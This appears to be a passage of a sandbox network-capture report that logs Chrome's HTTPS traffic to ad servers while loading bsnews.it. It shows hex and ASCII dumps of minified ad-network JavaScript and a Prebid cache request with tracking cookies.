2024-03-28 08:51:22 UTC	1369	IN	Data Raw: 61 63 6b 4a 73 6f 6e 70 31 37 31 31 35 32 33 34 37 34 34 32 35 7c 7c 5b 5d 2c 6f 3d 69 2e 70 75 73 68 2e 62 69 6e 64 28 69 29 3b 69 2e 70 75 73 68 3d 72 2c 69 3d 69 2e 73 6c 69 63 65 28 29 3b 66 6f 72 28 76 61 72 20 63 3d 30 3b 63 3c 69 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 72 28 69 5b 63 5d 29 3b 76 61 72 20 66 3d 6f 3b 75 28 75 2e 73 3d 33 33 29 7d 28 5b 66 75 6e 63 74 69 6f 6e 28 6e 2c 72 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 74 2e 64 28 72 2c 22 6d 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 75 7d 29 29 2c 74 2e 64 28 72 2c 22 61 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 69 7d 29 29 2c 74 2e 64 28 72 2c 22 67 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 29 29 2c 74 2e 64 28 72 Data Ascii: ackJsonp1711523474425\|\|[],o=i.push.bind(i);i.push=r,i=i.slice();for(var c=0;c<i.length;c++)r(i[c]);var f=o;u(u.s=33)}([function(n,r,t){"use strict";t.d(r,"m",(function(){return u})),t.d(r,"a",(function(){return i})),t.d(r,"g",(function(){return o})),t.d(r
2024-03-28 08:51:22 UTC	1369	IN	Data Raw: 68 28 65 29 7b 63 61 73 65 20 31 3a 72 65 74 75 72 6e 20 75 28 6e 28 72 29 2c 5b 74 5d 29 3b 63 61 73 65 20 32 3a 72 65 74 75 72 6e 20 6e 28 72 2c 74 29 3b 63 61 73 65 20 33 3a 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 28 72 2c 74 2c 65 29 7d 3b 63 61 73 65 20 34 3a 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 2c 75 29 7b 72 65 74 75 72 6e 20 6e 28 72 2c 74 2c 65 2c 75 29 7d 3b 63 61 73 65 20 35 3a 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 2c 75 2c 69 29 7b 72 65 74 75 72 6e 20 6e 28 72 2c 74 2c 65 2c 75 2c 69 29 7d 3b 63 61 73 65 20 36 3a 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 2c 75 2c 69 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 28 72 2c 74 2c 65 2c 75 2c 69 2c 6f 29 7d 3b 63 61 73 65 20 37 3a Data Ascii: h(e){case 1:return u(n(r),[t]);case 2:return n(r,t);case 3:return function(e){return n(r,t,e)};case 4:return function(e,u){return n(r,t,e,u)};case 5:return function(e,u,i){return n(r,t,e,u,i)};case 6:return function(e,u,i,o){return n(r,t,e,u,i,o)};case 7:
2024-03-28 08:51:22 UTC	1369	IN	Data Raw: 3b 73 77 69 74 63 68 28 63 29 7b 63 61 73 65 20 31 3a 72 65 74 75 72 6e 20 75 28 6e 28 72 29 2c 5b 74 2c 65 2c 69 2c 6f 5d 29 3b 63 61 73 65 20 32 3a 72 65 74 75 72 6e 20 75 28 6e 28 72 2c 74 29 2c 5b 65 2c 69 2c 6f 5d 29 3b 63 61 73 65 20 33 3a 72 65 74 75 72 6e 20 75 28 6e 28 72 2c 74 2c 65 29 2c 5b 69 2c 6f 5d 29 3b 63 61 73 65 20 34 3a 72 65 74 75 72 6e 20 75 28 6e 28 72 2c 74 2c 65 2c 69 29 2c 5b 6f 5d 29 3b 63 61 73 65 20 35 3a 72 65 74 75 72 6e 20 6e 28 72 2c 74 2c 65 2c 69 2c 6f 29 3b 63 61 73 65 20 36 3a 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 75 29 7b 72 65 74 75 72 6e 20 6e 28 72 2c 74 2c 65 2c 69 2c 6f 2c 75 29 7d 3b 63 61 73 65 20 37 3a 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 75 2c 63 29 7b 72 65 74 75 72 6e 20 6e 28 72 2c 74 Data Ascii: ;switch(c){case 1:return u(n(r),[t,e,i,o]);case 2:return u(n(r,t),[e,i,o]);case 3:return u(n(r,t,e),[i,o]);case 4:return u(n(r,t,e,i),[o]);case 5:return n(r,t,e,i,o);case 6:return function(u){return n(r,t,e,i,o,u)};case 7:return function(u,c){return n(r,t
2024-03-28 08:51:22 UTC	1369	IN	Data Raw: 2e 64 28 72 2c 22 64 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 69 7d 29 29 2c 74 2e 64 28 72 2c 22 61 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 29 29 2c 74 2e 64 28 72 2c 22 65 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 29 29 2c 74 2e 64 28 72 2c 22 63 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 7d 29 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 6e 2c 72 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 65 28 6e 2c 72 29 7b 72 65 74 75 72 6e 20 6e 3c 72 3f 2d 31 3a 6e 3d 3d 3d 72 3f 30 3a 31 7d 66 75 6e 63 74 69 6f 6e 20 75 28 6e 2c 72 29 7b 72 65 74 75 72 6e 20 6e 3f 72 3f 30 3a 31 3a 72 3f 2d 31 3a 30 7d 66 75 6e 63 74 69 6f 6e 20 69 28 6e Data Ascii: .d(r,"d",(function(){return i})),t.d(r,"a",(function(){return o})),t.d(r,"e",(function(){return c})),t.d(r,"c",(function(){return e}))},function(n,r,t){"use strict";function e(n,r){return n<r?-1:n===r?0:1}function u(n,r){return n?r?0:1:r?-1:0}function i(n
2024-03-28 08:51:22 UTC	1369	IN	Data Raw: 65 74 75 72 6e 20 45 7d 29 29 2c 74 2e 64 28 72 2c 22 65 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 50 7d 29 29 2c 74 2e 64 28 72 2c 22 62 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6b 7d 29 29 2c 74 2e 64 28 72 2c 22 64 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 53 7d 29 29 2c 74 2e 64 28 72 2c 22 6d 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 49 7d 29 29 2c 74 2e 64 28 72 2c 22 63 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 4f 7d 29 29 2c 74 2e 64 28 72 2c 22 6f 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 79 7d 29 29 3b 76 61 72 20 65 3d 74 28 32 29 3b 76 61 72 20 75 3d 5b 2d 32 31 34 37 34 38 33 36 34 38 2c 30 5d 2c 69 3d 5b 32 31 34 37 Data Ascii: eturn E})),t.d(r,"e",(function(){return P})),t.d(r,"b",(function(){return k})),t.d(r,"d",(function(){return S})),t.d(r,"m",(function(){return I})),t.d(r,"c",(function(){return O})),t.d(r,"o",(function(){return y}));var e=t(2);var u=[-2147483648,0],i=[2147
2024-03-28 08:51:22 UTC	1369	IN	Data Raw: 3d 30 2c 53 3d 30 2c 4e 3d 30 2c 54 3d 6d 2a 79 3b 72 65 74 75 72 6e 20 41 3d 28 53 3d 28 53 3d 28 4e 3d 28 54 3e 3e 3e 31 36 29 2b 5f 2a 79 29 3e 3e 3e 31 36 29 2b 28 28 4e 3d 28 36 35 35 33 35 26 4e 29 2b 6d 2a 45 29 3e 3e 3e 31 36 29 2b 67 2a 79 29 3e 3e 3e 31 36 2c 41 2b 3d 28 53 3d 28 36 35 35 33 35 26 53 29 2b 5f 2a 45 29 3e 3e 3e 31 36 2c 41 2b 3d 28 53 3d 28 36 35 35 33 35 26 53 29 2b 6d 2a 77 29 3e 3e 3e 31 36 2c 5b 28 53 26 3d 36 35 35 33 35 29 7c 28 41 3d 41 2b 28 28 6f 3e 3e 3e 31 36 29 2a 79 2b 67 2a 45 2b 5f 2a 77 2b 6d 2a 28 76 3e 3e 3e 31 36 29 29 26 36 35 35 33 35 29 3c 3c 31 36 2c 28 36 35 35 33 35 26 54 7c 28 36 35 35 33 35 26 4e 29 3c 3c 31 36 29 3e 3e 3e 30 5d 7d 7d 72 65 74 75 72 6e 20 30 3d 3d 28 31 26 74 29 3f 63 3a 75 7d 7d 66 75 Data Ascii: =0,S=0,N=0,T=my;return A=(S=(S=(N=(T>>>16)+_y)>>>16)+((N=(65535&N)+mE)>>>16)+gy)>>>16,A+=(S=(65535&S)+_E)>>>16,A+=(S=(65535&S)+mw)>>>16,[(S&=65535)\|(A=A+((o>>>16)y+gE+_w+m(v>>>16))&65535)<<16,(65535&T\|(65535&N)<<16)>>>0]}}return 0==(1&t)?c:u}}fu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
245	192.168.2.4	50015	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:22 UTC	571	OUT	GET /display/?zid=AACAFQeVCHLlefG8&schain=1.0,1!movingup.it,109,1,,, HTTP/1.1 Host: ads.viralize.tv Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:22 UTC	419	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:22 GMT Content-Type: text/javascript Vary: Accept-Encoding server: uvicorn server: Unknown access-control-allow-origin: * access-control-allow-credentials: true cache-control: no-cache, no-store, must-revalidate pragma: no-cache expires: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close Transfer-Encoding: chunked
2024-03-28 08:51:22 UTC	833	IN	Data Raw: 33 34 64 35 0d 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 28 66 75 6e 63 74 69 6f 6e 28 63 6f 6e 66 69 67 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 21 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 69 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 72 28 74 29 7b 76 61 72 20 65 3b 72 65 74 75 72 6e 28 69 5b 74 5d 7c 7c 28 65 3d 69 5b 74 5d 3d 7b 69 3a 74 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 2c 6e 5b 74 5d 2e 63 61 6c 6c 28 65 2e 65 78 70 6f 72 74 73 2c 65 2c 65 2e 65 78 70 6f 72 74 73 2c 72 29 2c 65 2e 6c 3d 21 30 2c 65 29 29 2e 65 78 70 6f 72 74 73 7d 72 2e 6d 3d 6e 2c 72 2e 63 3d 69 2c 72 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 72 2e 6f 28 74 2c 65 29 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 Data Ascii: 34d5 (function(config) { !function(n){var i={};function r(t){var e;return(i[t]\|\|(e=i[t]={i:t,l:!1,exports:{}},n[t].call(e.exports,e,e.exports,r),e.l=!0,e)).exports}r.m=n,r.c=i,r.d=function(t,e,n){r.o(t,e)\|\|Object.defineProper
2024-03-28 08:51:22 UTC	1252	IN	Data Raw: 74 75 72 6e 20 74 7d 3b 72 65 74 75 72 6e 20 72 2e 64 28 65 2c 22 61 22 2c 65 29 2c 65 7d 2c 72 2e 6f 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 74 2c 65 29 7d 2c 72 2e 70 3d 22 22 2c 72 28 72 2e 73 3d 31 35 37 29 7d 28 5b 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 65 2c 22 61 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 69 7d 29 2c 6e 2e 64 28 65 2c 22 62 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 7d 29 3b 65 3d 6e 28 34 35 29 2c 6e 3d 6e 28 34 29 3b 65 2e 61 2e 5f 69 6d 6d 65 64 69 61 74 65 46 6e 3d 6e 2e 62 2e 73 65 74 49 6d 6d 65 Data Ascii: turn t};return r.d(e,"a",e),e},r.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},r.p="",r(r.s=157)}([function(t,e,n){"use strict";n.d(e,"a",function(){return i}),n.d(e,"b",function(){return r});e=n(45),n=n(4);e.a._immediateFn=n.b.setImme
2024-03-28 08:51:22 UTC	1252	IN	Data Raw: 72 2e 61 2e 42 41 4e 4e 45 52 7c 7c 70 3d 3d 3d 72 2e 61 2e 53 54 52 45 41 4d 7c 7c 70 3d 3d 3d 72 2e 61 2e 53 49 54 45 4c 4f 4f 50 7c 7c 70 3d 3d 3d 72 2e 61 2e 43 4c 49 50 43 48 4f 49 43 45 7c 7c 70 3d 3d 3d 72 2e 61 2e 49 4e 54 45 58 54 26 26 21 68 29 7c 7c 22 6e 6f 22 21 3d 3d 6c 2e 67 65 74 28 22 76 69 70 5f 6d 6f 64 65 22 2c 22 6e 6f 22 29 2c 6e 26 26 70 3f 77 69 6e 64 6f 77 2e 74 6f 70 3a 77 69 6e 64 6f 77 29 2c 66 3d 64 2e 64 6f 63 75 6d 65 6e 74 2c 6d 3d 6f 2e 62 2e 67 65 74 54 6f 70 41 63 63 65 73 73 69 62 6c 65 57 69 6e 64 6f 77 28 77 69 6e 64 6f 77 29 3b 6e 75 6c 6c 21 3d 69 26 26 28 69 3d 4f 62 6a 65 63 74 28 73 2e 61 29 28 69 29 29 3b 28 72 3d 6e 3f 77 69 6e 64 6f 77 2e 74 6f 70 3a 64 29 2e 5f 5f 56 52 3d 72 2e 5f 5f 56 52 7c 7c 7b 7d 2c 72 Data Ascii: r.a.BANNER\|\|p===r.a.STREAM\|\|p===r.a.SITELOOP\|\|p===r.a.CLIPCHOICE\|\|p===r.a.INTEXT&&!h)\|\|"no"!==l.get("vip_mode","no"),n&&p?window.top:window),f=d.document,m=o.b.getTopAccessibleWindow(window);null!=i&&(i=Object(s.a)(i));(r=n?window.top:d).__VR=r.__VR\|\|{},r
2024-03-28 08:51:22 UTC	1252	IN	Data Raw: 77 69 64 74 68 3a 6e 5b 22 22 2e 63 6f 6e 63 61 74 28 65 2c 22 57 69 64 74 68 22 29 5d 2c 68 65 69 67 68 74 3a 6e 5b 22 22 2e 63 6f 6e 63 61 74 28 65 2c 22 48 65 69 67 68 74 22 29 5d 7d 7d 2c 66 2e 67 65 74 53 61 66 65 56 69 65 77 70 6f 72 74 53 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 2c 65 3b 72 65 74 75 72 6e 20 6c 2e 62 2e 63 61 6e 41 63 63 65 73 73 54 6f 70 57 69 6e 64 6f 77 28 29 3f 66 2e 67 65 74 56 69 65 77 70 6f 72 74 53 69 7a 65 28 6c 2e 62 2e 67 65 74 54 6f 70 41 63 63 65 73 73 69 62 6c 65 57 69 6e 64 6f 77 28 77 69 6e 64 6f 77 29 29 3a 28 74 3d 4f 62 6a 65 63 74 28 70 2e 61 29 28 29 29 3f 7b 77 69 64 74 68 3a 6e 75 6c 6c 21 3d 28 65 3d 6e 75 6c 6c 3d 3d 28 65 3d 74 2e 24 73 66 2e 65 78 74 2e 67 65 6f 6d 28 29 29 7c 7c 6e 75 Data Ascii: width:n["".concat(e,"Width")],height:n["".concat(e,"Height")]}},f.getSafeViewportSize=function(){var t,e;return l.b.canAccessTopWindow()?f.getViewportSize(l.b.getTopAccessibleWindow(window)):(t=Object(p.a)())?{width:null!=(e=null==(e=t.$sf.ext.geom())\|\|nu
2024-03-28 08:51:22 UTC	1252	IN	Data Raw: 5d 3b 65 28 72 29 26 26 6e 2e 70 75 73 68 28 72 29 7d 72 65 74 75 72 6e 20 6e 7d 2c 66 2e 63 6c 61 73 73 4e 61 6d 65 50 72 65 66 69 78 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 69 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 69 3b 6e 2b 3d 31 29 65 5b 6e 5d 3d 22 22 2e 63 6f 6e 63 61 74 28 74 2c 22 2d 22 29 2e 63 6f 6e 63 61 74 28 65 5b 6e 5d 29 3b 72 65 74 75 72 6e 20 65 2e 6a 6f 69 6e 28 22 20 22 29 7d 2c 66 2e 68 61 73 68 43 6f 64 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 30 3b 69 66 28 30 21 3d 3d 74 2e 6c 65 6e 67 74 68 29 66 6f 72 28 76 61 72 20 6e 3d 30 2c 69 3d 74 2e 6c 65 6e 67 74 68 3b 6e 3c 69 3b 6e 2b 3d 31 29 7b 65 3d 28 65 3c 3c 35 29 2d 65 2b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6e 29 3b 65 Data Ascii: ];e(r)&&n.push(r)}return n},f.classNamePrefix=function(t,e){for(var n=0,i=e.length;n<i;n+=1)e[n]="".concat(t,"-").concat(e[n]);return e.join(" ")},f.hashCode=function(t){var e=0;if(0!==t.length)for(var n=0,i=t.length;n<i;n+=1){e=(e<<5)-e+t.charCodeAt(n);e
2024-03-28 08:51:22 UTC	1252	IN	Data Raw: 6f 73 74 22 29 2c 22 2f 74 72 61 63 6b 2f 3f 22 29 2e 63 6f 6e 63 61 74 28 74 29 3b 66 2e 74 72 61 63 6b 55 72 6c 28 65 29 7d 2c 66 2e 67 65 74 56 50 54 49 6e 73 74 61 6e 63 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2e 67 65 74 28 22 69 73 5f 70 72 65 76 69 65 77 22 29 2c 6e 3d 74 2e 67 65 74 28 22 69 73 5f 74 65 73 74 22 29 3b 72 65 74 75 72 6e 20 74 2e 67 65 74 28 22 66 6f 72 6d 61 74 5f 66 61 6d 69 6c 79 22 29 3d 3d 3d 69 2e 61 2e 49 4e 53 54 52 45 41 4d 26 26 28 65 7c 7c 6e 29 3f 6e 75 6c 6c 3a 61 2e 61 2e 6e 61 6d 65 73 70 61 63 65 26 26 61 2e 61 2e 6e 61 6d 65 73 70 61 63 65 2e 76 70 74 69 6d 70 6c 7d 2c 66 2e 67 65 74 41 64 64 69 74 69 6f 6e 61 6c 50 6c 61 79 65 72 43 6f 6e 66 69 67 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b Data Ascii: ost"),"/track/?").concat(t);f.trackUrl(e)},f.getVPTInstance=function(t){var e=t.get("is_preview"),n=t.get("is_test");return t.get("format_family")===i.a.INSTREAM&&(e\|\|n)?null:a.a.namespace&&a.a.namespace.vptimpl},f.getAdditionalPlayerConfig=function(t,e){
2024-03-28 08:51:22 UTC	1252	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 74 29 7b 6e 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6c 6f 61 64 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 21 31 29 7d 29 2c 6e 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 65 72 72 6f 72 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 21 30 29 7d 29 2c 6e 2e 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 61 64 73 2e 76 69 72 61 6c 69 7a 65 2e 74 76 2f 22 3b 76 61 72 20 65 3d 6e 75 6c 6c 21 3d 28 65 3d 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 29 3f 65 3a 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 3b 6e 75 6c 6c 21 3d 65 26 26 65 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6e 29 7d 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 73 2e 61 28 6e 29 2e 72 65 6d 6f 76 65 28 29 2c 74 7d Data Ascii: unction(t){n.addEventListener("load",function(){t(!1)}),n.addEventListener("error",function(){t(!0)}),n.src="https://ads.viralize.tv/";var e=null!=(e=document.body)?e:document.head;null!=e&&e.appendChild(n)}).then(function(t){return new s.a(n).remove(),t}
2024-03-28 08:51:22 UTC	1252	IN	Data Raw: 30 2c 65 3d 77 69 6e 64 6f 77 2e 6f 6e 6d 65 73 73 61 67 65 2c 77 69 6e 64 6f 77 2e 6f 6e 6d 65 73 73 61 67 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 3d 21 31 7d 2c 77 69 6e 64 6f 77 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 22 22 2c 22 2a 22 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 77 69 6e 64 6f 77 2c 22 6f 6e 6d 65 73 73 61 67 65 22 2c 7b 76 61 6c 75 65 3a 65 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 2c 74 7d 28 29 3f 28 61 3d 22 73 68 53 65 74 49 6d 6d 65 64 69 61 74 65 24 22 2e 63 6f 6e 63 61 74 28 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2c 22 24 22 29 2c 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6d 65 73 73 61 67 65 22 Data Ascii: 0,e=window.onmessage,window.onmessage=function(){t=!1},window.postMessage("","*"),Object.defineProperty(window,"onmessage",{value:e,writable:!0}),t}()?(a="shSetImmediate$".concat(Math.random(),"$"),window.addEventListener?window.addEventListener("message"
2024-03-28 08:51:22 UTC	1252	IN	Data Raw: 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 72 2e 67 65 74 41 6d 70 41 64 57 69 6e 64 6f 77 57 69 74 68 43 6f 6e 74 65 78 74 28 29 3b 69 66 28 6e 75 6c 6c 21 3d 74 29 72 65 74 75 72 6e 20 74 2e 63 6f 6e 74 65 78 74 7d 2c 67 65 74 41 6d 70 41 64 57 69 6e 64 6f 77 57 69 74 68 43 6f 6e 74 65 78 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 77 69 6e 64 6f 77 3b 74 72 79 7b 66 6f 72 28 3b 74 21 3d 3d 77 69 6e 64 6f 77 2e 74 6f 70 3b 29 7b 69 66 28 6e 75 6c 6c 21 3d 74 2e 63 6f 6e 74 65 78 74 26 26 6e 75 6c 6c 21 3d 74 2e 63 6f 6e 74 65 78 74 2e 6f 62 73 65 72 76 65 49 6e 74 65 72 73 65 63 74 69 6f 6e 29 72 65 74 75 72 6e 20 74 3b 74 3d 74 2e 70 61 72 65 6e 74 7d 7d 63 61 74 63 68 28 74 29 7b 7d 7d 2c 67 65 74 41 6d 70 56 69 64 65 6f 49 66 72 61 6d 65 3a Data Ascii: tion(){var t=r.getAmpAdWindowWithContext();if(null!=t)return t.context},getAmpAdWindowWithContext:function(){var t=window;try{for(;t!==window.top;){if(null!=t.context&&null!=t.context.observeIntersection)return t;t=t.parent}}catch(t){}},getAmpVideoIframe:
2024-03-28 08:51:22 UTC	1252	IN	Data Raw: 28 74 2c 65 29 7b 74 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 6e 75 6c 6c 21 3d 3d 74 26 26 74 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 74 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 29 7d 2c 75 2e 69 6e 73 65 72 74 48 54 4d 4c 42 65 66 6f 72 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 69 66 28 22 22 3d 3d 3d 6e 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 66 6f 72 28 76 61 72 20 69 3d 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2c 65 3d 75 2e 63 72 65 61 74 65 28 69 2c 22 69 6e 73 22 2c 7b 69 64 3a 65 7d 29 2c 72 3d 28 65 2e 65 6c 65 6d 2e 69 6e 6e 65 72 48 54 4d 4c 3d 6e 2c 74 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 65 2e 65 6c 65 6d 2c 74 29 2c 65 2e 65 6c 65 6d Data Ascii: (t,e){t=t.getElementById(e);null!==t&&t.parentNode&&t.parentNode.removeChild(t)},u.insertHTMLBefore=function(t,e,n){if(""===n)return null;for(var i=t.ownerDocument,e=u.create(i,"ins",{id:e}),r=(e.elem.innerHTML=n,t.parentNode.insertBefore(e.elem,t),e.elem

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
246	192.168.2.4	50013	68.67.153.61	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:22 UTC	805	OUT	POST /pbc/v1/cache HTTP/1.1 Host: prebid.adnxs.com Connection: keep-alive Content-Length: 5917 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XANDR_PANID=FSn7X5NeciEMQOCcjHxXHqehzn-v4svBsj-gMw-pgwSgQCfMLVcv8zsZGedeIaeQHaHBYiGUTPoYHQhuiVJPrQfUeNdxFRZDxgmjjszNmB4.; icu=ChgIjq9kEAoYASABKAEwh9-UsAY4AUABSAEQh9-UsAYYAA..; receive-cookie-deprecation=1; uuid2=3287041831475129344
2024-03-28 08:51:22 UTC	5917	OUT	Data Raw: 7b 22 70 75 74 73 22 3a 5b 7b 22 74 79 70 65 22 3a 22 78 6d 6c 22 2c 22 76 61 6c 75 65 22 3a 22 3c 56 41 53 54 20 76 65 72 73 69 6f 6e 3d 5c 22 34 2e 30 5c 22 3e 3c 41 64 3e 3c 57 72 61 70 70 65 72 3e 3c 41 64 53 79 73 74 65 6d 20 76 65 72 73 69 6f 6e 3d 5c 22 31 2e 30 2e 33 39 32 37 5c 22 3e 53 68 61 72 65 74 68 72 6f 75 67 68 20 41 64 53 65 72 76 65 72 3c 2f 41 64 53 79 73 74 65 6d 3e 3c 56 41 53 54 41 64 54 61 67 55 52 49 3e 3c 21 5b 43 44 41 54 41 5b 68 74 74 70 73 3a 2f 2f 76 61 73 74 2d 73 74 6f 72 61 67 65 2d 73 65 72 76 69 63 65 2d 75 73 2d 65 61 73 74 2d 31 2e 73 68 61 72 65 74 68 72 6f 75 67 68 2e 63 6f 6d 2f 63 61 63 68 65 3f 75 75 69 64 3d 62 66 30 61 63 31 61 66 2d 33 37 32 39 2d 34 65 36 36 2d 62 61 62 39 2d 32 33 63 62 61 38 34 33 33 65 63 Data Ascii: {"puts":[{"type":"xml","value":"<VAST version=\"4.0\"><Ad><Wrapper><AdSystem version=\"1.0.3927\">Sharethrough AdServer</AdSystem><VASTAdTagURI><![CDATA[https://vast-storage-service-us-east-1.sharethrough.com/cache?uuid=bf0ac1af-3729-4e66-bab9-23cba8433ec
2024-03-28 08:51:22 UTC	251	IN	HTTP/1.1 200 OK Server: nginx/1.25.1 Date: Thu, 28 Mar 2024 08:51:22 GMT Content-Type: application/json Content-Length: 63 Connection: close Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://bsnews.it Vary: Origin
2024-03-28 08:51:22 UTC	63	IN	Data Raw: 7b 22 72 65 73 70 6f 6e 73 65 73 22 3a 5b 7b 22 75 75 69 64 22 3a 22 39 39 66 39 66 65 36 38 2d 37 38 61 36 2d 34 65 65 34 2d 39 31 38 33 2d 38 62 64 30 61 63 66 65 61 62 33 65 22 7d 5d 7d Data Ascii: {"responses":[{"uuid":"99f9fe68-78a6-4ee4-9183-8bd0acfeab3e"}]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
247	192.168.2.4	50016	18.238.49.99	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

